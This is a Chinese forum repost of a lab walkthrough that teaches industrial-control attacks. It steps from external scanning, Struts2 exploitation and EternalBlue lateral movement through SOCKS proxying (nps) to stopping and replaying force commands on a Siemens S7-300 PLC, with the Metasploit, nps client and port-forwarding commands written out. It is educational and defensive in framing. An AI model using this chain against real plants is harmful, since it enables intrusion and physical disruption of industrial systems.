【技术分享】工控攻防演示——从外网到内网控制系统设备的入侵

[复制链接]
查看80639 | 回复0 | 2024-3-21 20:54:48 | 显示全部楼层 |阅读模式


概述

1.实验目的

通过工控攻防演示让初学者学习web安全、内网渗透、工控安全相关知识技能
2.靶场信息

本实验通过vmware 搭建了靶场的外网和内网环境,在内网环境中,可以连接到真实的PLC进行漏洞利用。
网络拓扑如下:



该网络环境中,有两台攻击机处于模拟外网中,分别是一台 windows7 主机和 kali 主机,通过这两台主机进行漏洞利用,获取内网访问权限,进一步获取西门子PLC的控制权,从而控制城市沙盘。

演示过程

1.资产发现

登录 kali 攻击机,输入 ifconfig 查看 ip 段,



接着对该网段C段进行端口扫描
nmap -Pn -n —open 192.168.14.0/24



发现192.168.14.10 开放了 80 和 8080 端口,用浏览器分别访问这两个端口





发现80端口存在一个网站,8080端口为tomcat的默认界面。
2.目录扫描

使用kali 自带的 dirbrute 工具来对8080端口进行目录扫描



设置好字典,对 http://192.168.14.10:8080/ 点击start进行目录扫描



发现一个 test 目录



访问发现是struts2-showcase测试项目



3.Struts2 漏洞利用

出现struts2框架,可以尝试利用struts2命令执行漏洞。输入 msfconsole 打开 msf,如果第一次运行,可以先运行 msfdb init 来初始化 msf 数据库



输入 search struts2 来搜索 struts2 相关漏洞



加载struts2利用模块
接下来在msf 设置目标信息并攻击,其中 rhosts 为 struts2 网站的 ip,rport 为网站的端口,targeturi 为存在漏洞的地址。输入 exploit 开始攻击



可以看到成功获取该struts2 网站的权限,返回了一个 meterpreter shell,输入sysinfo可以看到这台主机的ip为 192.168.90.10, 是linux系统,版本为 Ubuntu 16.04。
4.Nps 内网代理

由于已经获取了位于内网的linux主机权限,可以通过这个meterpreter shell 来设置socks代理,这样就可以msf中访问内网中的其它主机和端口了。
先下载nps客户端和服务端到kali攻击机中
解压安装nps
./nps install
启动nps
nps start



访问本地Ip的8080 端口,链接为http://192.168.14.4:8080 可访问nps管理后台,输入admin/123 登录。点击添加客户端



然后在msf中上传linux_amd64_client.tar.gz客户端到内网linux主机的/tmp/目录中。
upload /root/nps/linux_amd64_client.tar.gz /tmp/nps.tar.gz
在linux主机中执行解压



回到nps后台中,展开客户端,复制客户端命令



在msf meterpreter 中执行下面命令让客户端连上服务器
execute -f /tmp/npc -a ‘-server=192.168.14.4:8024 -vkey=0fr8k4rsh8tjl8ut -type=tcp’



在后台管理处看到客户端状态是在线即成功连上nps服务器。



接着在后台管理处添加一个socks代理,输入刚才创建的客户端id,端口为1086



此时可以通过本地的1086端口的socks代理访问192.168.90.0 网段的主机。在msf中输入下面命令设置socks代理。
setg proxies socks5:127.0.0.1:1086



5.永恒之蓝横向移动

设置好到进入192.168.90.0 网段的socks代理后,可以使用msf对该网段进行扫描,先扫描永恒之蓝漏洞



发现 192.168.90.60 主机存在 ms17-010漏洞,接下来使用 ms17-010 漏洞利用模块进行攻击。由于使用了socks代理,设置反向连接payload时,要设置ReverseAllowProxy





成功获取存在永恒之蓝漏洞主机的权限。
6.信息收集-发现TIA项目

通过查看用户的桌面,发现了Sand_V16目录中存在ap16后缀名的文件。



这是西门子组态软件 TIA Portal (博途)的项目文件,是用于对西门子可编程逻辑控制器(programmable logic controller,简称PLC)进行编程控制的软件。
先下载该项目到本地,使用下面命令下载
download c:/users/admin/desktop/Sand_V16.zip



7.查看TIA项目

下载完项目后,复制出到一个 windows10系统中解压。在本地电脑上装一个TIA Portal V16,然后打开该项目,点击项目视图



可以看到该项目中有两个PLC,一个是S7-300,一个是S7-1200。本演示中主要介绍S7-300



8.西门子S7-300远程启停漏洞利用

西门子S7-300是西门子的一款可编程逻辑控制器,可编程控制器由内部CPU,指令及资料存储器、输入输出单元、电源模块、数字模拟等单元所模块化组合成。PLC可接收(输入)经过CPU处理后,发送(输出)多种类型的电气或电子信号,并使用他们来控制或监督几乎所有种类的机械与电气系统。


西门子S7-300 存在远程启停,数据重放等漏洞,可以在不进行身份认证的情况下直接对PLC进行启动、关闭和修改数据。
先获取该S7-300的IP,在项目中展开S7-300,双击设备组态,在属性中的以太网地址中查看IP地址,发现IP为192.168.30.60。

接着在获取权限的windows内网机器上ping 192.168.30.60。发现可以ping通

S7-300的端口一般是102端口,先使用msf的端口转发功能,把192.168.30.60 的102端口转发到kali攻击机上,方便访问
portfwd add -l 102 -r 192.168.30.60 -p 102

使用 nmap扫描本地102端口,发现已经转发成功了

接着在kali 攻击机上下载 isf 攻击工具,里面包含了s7-300的攻击模块,当然也可以使用其他脚本也行

运行完后,可以看到PLC进入了stop状态,也就是PLC停止了。STOP状态灯亮起

启动plc
set command 1
run

下面是PLC控制的沙盘在PLC被关闭后的效果图

直接关闭PLC,会导致正在运行的工业系统停止运行,从而导致严重的后果。可以想象一下正在运行的列车失去了控制是什么后果。9.西门子S7-300重放攻击

西门子S7-300 没有防重放机制,只要使用wireshark等抓包工具获取了某个功能的数据包,即可重放该数据。例如Q0.6是控制沙盘中信大厦通电的输出,现在要对它单独进行修改,而不影响其它输出。可以在博途对Q0.6进行强制修改,然后抓取该数据包,进行重放即可。
在S7-300的强制表中点击监控变量,输入Q0.6,右键强制修改为0

使用wireshark抓取该数据包,发送的是S7COMM协议,该协议的详细介绍网上比较多资料,这里只对要修改的地方进行介绍,下图中 Force代表开启强制修改,Address to force 为要修改的地址,图中是Q0.6,其中Startaddress代表Q0.6的0, Bitposition 代表Q0.6的6。修改这两个数据可以修改任意输出,如Q1.1。其中的Value to force是要修改的值,在Data字段中为00,也就是要修改成0。

第一次开启强制认证时,会在PLC中创建一个对象,并且返回该对象的引用ID,下图中的Force请求响应中的Sequence number字段为4,代表创建的对象引用ID为4,后续修改强制表的时候会用到该ID。

继续强制Q0.6的值为1,可以看到发送的请求变成了Replace job,也就是修改对象,其中的 reference sequence number 为4 ,也就是修改了前面 Force 请求中创建的对象。修改的地址也是Q0.6,值为1

然后右键点击停止强制,发送了Delete job 请求,也就是删除了该强制表对象
其中的 Job reference number 为4。删除后,所有强制修改失效。

经过分析后,可以编写一个python脚本来对PLC的值进行修改。在对应的协议数据中复制tcp payload为hexstream,然后进行相应的修改并重放即可实现对指定值的修改。

下面编写一个模块脚本来对PLC的输出值进行强制修改
代码中,在Force请求发送后,会记录reference number 用于后续的修改

把脚本放在exploits/plcs/siemens/ 目录中

通过下面命令来使用

发送前S7-300的Q0.6是通电的,中信大厦正常运行




发送后S7-300的Q0.6关闭,中信大厦关闭。




直接修改PLC的关键状态,可能会导致严重的后果,如震网攻击中通过改变离心机转数来破坏伊朗的核设备。

总结

本次攻防演示中,通过模拟外网攻击进入内网环境,对控制工业设备的PLC进行了攻击。整体的攻击过程为:外网web服务器-》内网西门子工程师站-》西门子S7-300 PLC。其主要目的是针对工控安全感兴趣的爱好者学习,相互交流。


- End -
精彩推荐【技术分享】对抗样本及其背后性质分析(实战导向)
【技术分享】DDoS介绍与防御
【技术分享】SSTI漏洞学习 (上)——基础知识和一些不常见的模板引擎介绍
【技术分享】ForgeRock OpenAM RCE(CVE-2021-35464)分析

戳“阅读原文”查看更多内容

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册哦

x
您需要登录后才可以回帖 登录 | 注册哦

本版积分规则